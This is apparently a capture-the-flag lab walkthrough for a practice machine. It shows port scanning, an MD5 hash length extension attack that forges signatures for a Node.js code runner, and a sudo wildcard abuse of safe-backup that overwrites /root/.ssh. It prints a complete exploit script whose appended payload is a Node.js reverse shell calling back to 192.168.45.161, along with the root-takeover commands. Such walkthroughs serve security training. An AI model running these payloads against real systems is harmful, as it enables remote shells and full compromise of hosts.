$ nmap -p- --min-rate 3000 192.168.233.153
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-30 15:55 +08
Nmap scan report for 192.168.233.153
Host is up (0.17s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
8000/tcp open http-alt
Web Enum -> Hash Extension
Port 80 had a website that looked rather static with nothing interesting about it:
All of the links led to Lorem Ipsum related stuff, which is definitely not the exploit path we are looking for.
On the other hand, port 8000 contained something more interesting:
This seems to be a 'secure' way to run NodeJS code within the browser. This program checks for whether the signature (which is the MD5 Hash of API-KEY | CODE. We don't know the API key, and we only know the code to be run.
I viewed the traffic in Burpsuite, and when we press the 'submit' button for the default code generated, it produces this:
The sig part is obviously the signature being used, and the code part is our Javascript code in base64. This looks to be a cryptography based challenge, and let's gather the facts we know:
MD5 is the hash signature used.
Users control the CODE portion of the plaintext.
Since we control the CODE portion, we definitely would know the length of the second part of the plaintext.
We cannot get the API Key in anyway.
Based on the example API-key that they gave us, it is 37 characters long and in the exact same format. So we also know the length and format of the API key from the example alone. Also, it is computationally infeasible to brute force the API-key since there are 37 characters and is too long.
We know the correct signature generated from the default code generated when we load the page.
This combination of facts makes this application vulnerable to a hash extension attack.
The above repository takes the current hash and current message (which is the default signature and code upon refreshing the page) and allows us to append additional code to the default code while generating a valid hash based on the format of the API key.
Our script can also include a small requests portion that is able to sent the code for us.
TLDR, here's my exploit script:
import requestsimport base64import stringimport structdef_encode(input,len): k =len>>2 res = struct.pack(*("%iI"% k,) +tuple(input[:k]))return resdef_decode(input,len): k =len>>2 res = struct.unpack("%iI"% k, input[:len])returnlist(res)# Constants for compression function.S11 =7S12 =12S13 =17S14 =22S21 =5S22 =9S23 =14S24 =20S31 =4S32 =11S33 =16S34 =23S41 =6S42 =10S43 =15S44 =21PADDING =b"\x80"+63*b"\0"# F, G, H and I: basic MD5 functions.defF(x,y,z): return (((x) & (y)) | ((~x) & (z)))defG(x,y,z): return (((x) & (z)) | ((y) & (~z)))defH(x,y,z): return ((x) ^ (y) ^ (z))defI(x,y,z): return((y) ^ ((x) | (~z)))defROTATE_LEFT(x,n): x = x &0xffffffff# make shift unsignedreturn (((x) << (n)) | ((x) >> (32-(n)))) &0xffffffff# FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.# Rotation is separate from addition to prevent recomputation.defFF(a,b,c,d,x,s,ac): a = a +F ((b), (c), (d))+ (x) + (ac) a =ROTATE_LEFT ((a), (s)) a = a + breturn a # must assign this to adefGG(a,b,c,d,x,s,ac): a = a +G ((b), (c), (d))+ (x) + (ac) a =ROTATE_LEFT ((a), (s)) a = a + breturn a # must assign this to adefHH(a,b,c,d,x,s,ac): a = a +H ((b), (c), (d))+ (x) + (ac) a =ROTATE_LEFT ((a), (s)) a = a + breturn a # must assign this to adefII(a,b,c,d,x,s,ac): a = a +I ((b), (c), (d))+ (x) + (ac) a =ROTATE_LEFT ((a), (s)) a = a + breturn a # must assign this to aclassmd5(object): digest_size =16# size of the resulting hash in bytes block_size =64# hash algorithm's internal block sizedef__init__(self,string='',state=None,count=0): self.count =0 self.buffer =b""if state isNone:# initial state defined by standard self.state = (0x67452301,0xefcdab89,0x98badcfe,0x10325476,) else: self.state =_decode(state, md5.digest_size)if count isnotNone: self.count = countif string: self.update(string)defupdate(self,input): inputLen =len(input) index =int(self.count >>3)&0x3F self.count = self.count + (inputLen <<3) # update number of bits partLen = md5.block_size - index# apply compression function to as many blocks as we haveif inputLen >= partLen: self.buffer = self.buffer[:index]+input[:partLen] self.state =md5_compress(self.state, self.buffer) i = partLenwhile i +63< inputLen: self.state =md5_compress(self.state, input[i:i+md5.block_size]) i = i + md5.block_size index =0else: i =0# buffer remaining output self.buffer = self.buffer[:index]+input[i:inputLen]defdigest(self): _buffer, _count, _state = self.buffer, self.count, self.state self.update(padding(self.count)) result = self.state self.buffer, self.count, self.state = _buffer, _count, _statereturn_encode(result, md5.digest_size)defhexdigest(self):return self.digest().hex()defpadding(msg_bits): index =int((msg_bits >>3) &0x3f)if index <56: padLen = (56- index)else: padLen = (120- index)# (the last 8 bytes store the number of bits in the message)return PADDING[:padLen]+_encode((msg_bits &0xffffffff, msg_bits>>32), 8)defmd5_compress(state,block): a, b, c, d = state x =_decode(block, md5.block_size)# Round a =FF (a, b, c, d, x[ 0], S11, 0xd76aa478)# 1 d =FF (d, a, b, c, x[ 1], S12, 0xe8c7b756)# 2 c =FF (c, d, a, b, x[ 2], S13, 0x242070db)# 3 b =FF (b, c, d, a, x[ 3], S14, 0xc1bdceee)# 4 a =FF (a, b, c, d, x[ 4], S11, 0xf57c0faf)# 5 d =FF (d, a, b, c, x[ 5], S12, 0x4787c62a)# 6 c =FF (c, d, a, b, x[ 6], S13, 0xa8304613)# 7 b =FF (b, c, d, a, x[ 7], S14, 0xfd469501)# 8 a =FF (a, b, c, d, x[ 8], S11, 0x698098d8)# 9 d =FF (d, a, b, c, x[ 9], S12, 0x8b44f7af)# 10 c =FF (c, d, a, b, x[10], S13, 0xffff5bb1)# 11 b =FF (b, c, d, a, x[11], S14, 0x895cd7be)# 12 a =FF (a, b, c, d, x[12], S11, 0x6b901122)# 13 d =FF (d, a, b, c, x[13], S12, 0xfd987193)# 14 c =FF (c, d, a, b, x[14], S13, 0xa679438e)# 15 b =FF (b, c, d, a, x[15], S14, 0x49b40821)# 16# Round 2 a =GG (a, b, c, d, x[ 1], S21, 0xf61e2562)# 17 d =GG (d, a, b, c, x[ 6], S22, 0xc040b340)# 18 c =GG (c, d, a, b, x[11], S23, 0x265e5a51)# 19 b =GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa)# 20 a =GG (a, b, c, d, x[ 5], S21, 0xd62f105d)# 21 d =GG (d, a, b, c, x[10], S22, 0x2441453)# 22 c =GG (c, d, a, b, x[15], S23, 0xd8a1e681)# 23 b =GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8)# 24 a =GG (a, b, c, d, x[ 9], S21, 0x21e1cde6)# 25 d =GG (d, a, b, c, x[14], S22, 0xc33707d6)# 26 c =GG (c, d, a, b, x[ 3], S23, 0xf4d50d87)# 27 b =GG (b, c, d, a, x[ 8], S24, 0x455a14ed)# 28 a =GG (a, b, c, d, x[13], S21, 0xa9e3e905)# 29 d =GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8)# 30 c =GG (c, d, a, b, x[ 7], S23, 0x676f02d9)# 31 b =GG (b, c, d, a, x[12], S24, 0x8d2a4c8a)# 32# Round 3 a =HH (a, b, c, d, x[ 5], S31, 0xfffa3942)# 33 d =HH (d, a, b, c, x[ 8], S32, 0x8771f681)# 34 c =HH (c, d, a, b, x[11], S33, 0x6d9d6122)# 35 b =HH (b, c, d, a, x[14], S34, 0xfde5380c)# 36 a =HH (a, b, c, d, x[ 1], S31, 0xa4beea44)# 37 d =HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9)# 38 c =HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60)# 39 b =HH (b, c, d, a, x[10], S34, 0xbebfbc70)# 40 a =HH (a, b, c, d, x[13], S31, 0x289b7ec6)# 41 d =HH (d, a, b, c, x[ 0], S32, 0xeaa127fa)# 42 c =HH (c, d, a, b, x[ 3], S33, 0xd4ef3085)# 43 b =HH (b, c, d, a, x[ 6], S34, 0x4881d05)# 44 a =HH (a, b, c, d, x[ 9], S31, 0xd9d4d039)# 45 d =HH (d, a, b, c, x[12], S32, 0xe6db99e5)# 46 c =HH (c, d, a, b, x[15], S33, 0x1fa27cf8)# 47 b =HH (b, c, d, a, x[ 2], S34, 0xc4ac5665)# 48# Round 4 a =II (a, b, c, d, x[ 0], S41, 0xf4292244)# 49 d =II (d, a, b, c, x[ 7], S42, 0x432aff97)# 50 c =II (c, d, a, b, x[14], S43, 0xab9423a7)# 51 b =II (b, c, d, a, x[ 5], S44, 0xfc93a039)# 52 a =II (a, b, c, d, x[12], S41, 0x655b59c3)# 53 d =II (d, a, b, c, x[ 3], S42, 0x8f0ccc92)# 54 c =II (c, d, a, b, x[10], S43, 0xffeff47d)# 55 b =II (b, c, d, a, x[ 1], S44, 0x85845dd1)# 56 a =II (a, b, c, d, x[ 8], S41, 0x6fa87e4f)# 57 d =II (d, a, b, c, x[15], S42, 0xfe2ce6e0)# 58 c =II (c, d, a, b, x[ 6], S43, 0xa3014314)# 59 b =II (b, c, d, a, x[13], S44, 0x4e0811a1)# 60 a =II (a, b, c, d, x[ 4], S41, 0xf7537e82)# 61 d =II (d, a, b, c, x[11], S42, 0xbd3af235)# 62 c =II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb)# 63 b =II (b, c, d, a, x[ 9], S44, 0xeb86d391)# 64return (0xffffffff& (state[0]+ a),0xffffffff& (state[1]+ b),0xffffffff& (state[2]+ c),0xffffffff& (state[3]+ d),)curhash ='aaa8111b4871b48dc6c0ac4c33ef9e1b'message =b"""function hello(name) { return 'Hello ' + name + '!';}hello('World'); // should print 'Hello World'"""append="""(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("sh", []); var client = new net.Socket(); client.connect(443, "192.168.45.161", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application from crashing})();""".encode('utf-8')extended_code = message +padding((len('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx') +len('|') +len(message))*8)+ appendextended_hash =md5(state=bytes.fromhex(curhash), count=1536)extended_hash.update(append)#print (extended_hash)extended_sig = extended_hash.hexdigest()r = requests.post ('http://192.168.233.153:8000', json={'code': base64.b64encode(extended_code).decode('utf-8'),'sig': extended_sig })print (r.text)
The code I appended is just a JS reverse shell. Running this would give us a shell:
$ python3 hash.py
{"result":{}}
Privilege Escalation
The shell can be uploaded by dropping our SSH public key into the authorized_keys folder of arnold.
arnold@bunyip:~$ sudo -l
Matching Defaults entries for arnold on bunyip:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User arnold may run the following commands on bunyip:
(ALL) NOPASSWD: /usr/bin/safe-backup *
There's a wildcard present, which is never a good thing. When we run it, the program gives us the Github repository it is from:
arnold@bunyip:~$ sudo /usr/bin/safe-backup
Safe Backup v1.4.8
Github: https://github.com/scrwdrv/safe-backup
2023-06-30 08:17:04 ¦ [00] -MASTER ¦ INFO ¦ No parameters were found, restoring configuration...
2023-06-30 08:17:04 ¦ [00] -MASTER ¦ INFO ¦ Start building configuration...
Reading the repository, it seems that this file takes a file as input and either encrypts or decrypts it. The encryption is rather useless for privilege escalation, since it uses a secure method to encrypt files that we probably cannot break.
The same cannot be said for the decryption. Since we can run this as the root user on the machine, we can actually replace files with this method. All we have to do is encrypt some files on our Kali machine, transfer the encrypted file to the machine, then decrypt it there and overwrite any existing files.
We can generate a key pair using ssh-keygen and also create an authorized_keys file:
$ mkdir .ssh
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): /home/kali/pg/linux/bunyip/.ssh/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/pg/linux/bunyip/.ssh/id_rsa
Your public key has been saved in /home/kali/pg/linux/bunyip/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:mIxZYe/kc3hDXOcckyhL0/iTqQr7u3GzMclBR4GK1gs kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| o ++o+. |
| . o .*oo+.o |
| .ooo+=.oo |
| =E*o+..= |
| o.+.S.=. . |
| . .=.+ |
| o..B |
| . .o = |
| .+o. |
+----[SHA256]-----+
$ cp id_rsa.pub authorized_keys
We can then download the compiled binary for secure-backup on our machine:
Then, we can create a backup of the SSH keys we just created and rename the directory appropriately:
$ safe-backup --input /home/kali/pg/linux/bunyip/.ssh -o /home/kali/pg/linux/bunyip/backup
Safe Backup v1.4.8
Github: https://github.com/scrwdrv/safe-backup
2023-06-30 16:32:28 ¦ [00] -MASTER ¦ WARN ¦ Key pair not found, let's make one!
Set your password for encryption:
> password123
Please confirm your password is password123 [Y/N]?
> Y
2023-06-30 16:32:34 ¦ [00] -MASTER ¦ INFO ¦ Generating new RSA-4096 key pair...
2023-06-30 16:32:35 ¦ [00] -MASTER ¦ INFO ¦ Public & private key generated at /home/kali/.config/safe-backup/key.safe
2023-06-30 16:32:36 ¦ [00] -MASTER ¦ INFO ¦ safe-backup is up to date, good for you!
2023-06-30 16:32:36 ¦ [04] -WORKER ¦ INFO ¦ Syncing & encrypting folder... [/home/kali/pg/...x/bunyip/.ssh]
2023-06-30 16:32:36 ¦ [00] -MASTER ¦ INFO ¦ Synced & encrypted [0.01s][6.95 KB][0.52 MBps][F:(+2)(-0)][D:(+1)(-0)][/home/kali/pg/...x/bunyip/.ssh]
2023-06-30 16:32:36 ¦ [00] -MASTER ¦ INFO ¦ Saving logs before exit...
Afterwards, we need to create a symbolic link to /root/.ssh as -root-.ssh in order to have the decryption overwrite the actual /root/.ssh. This is because when we decrypt the files, it would generate a new directory like this one containing the keys:
$ ls
-root-.ssh -root-.ssh.bua
Run the following commands:
arnold@bunyip:/tmp/backup$ ln -s /root/.ssh /tmp/backup-root-.ssh
arnold@bunyip:/tmp/backup$ sudo safe-backup -d /tmp/backup/-root-.ssh.bua
Safe Backup v1.4.8
Github: https://github.com/scrwdrv/safe-backup
Enter your password:
> password123
2023-06-30 08:40:25 ¦ [01] -WORKER ¦ INFO ¦ Decrypting & extracting file... [/tmp/backup/-root-.ssh.bua]
2023-06-30 08:40:25 ¦ [00] -MASTER ¦ INFO ¦ Decrypted, duration: 0.08s [/tmp/backup/-root-.ssh.bua]
2023-06-30 08:40:25 ¦ [00] -MASTER ¦ INFO ¦ Your decrypted file/folder can be found at /tmp/backup/-root-.ssh
2023-06-30 08:40:25 ¦ [00] -MASTER ¦ INFO ¦ Saving logs before exit...
After this is done, we can ssh in as the root user: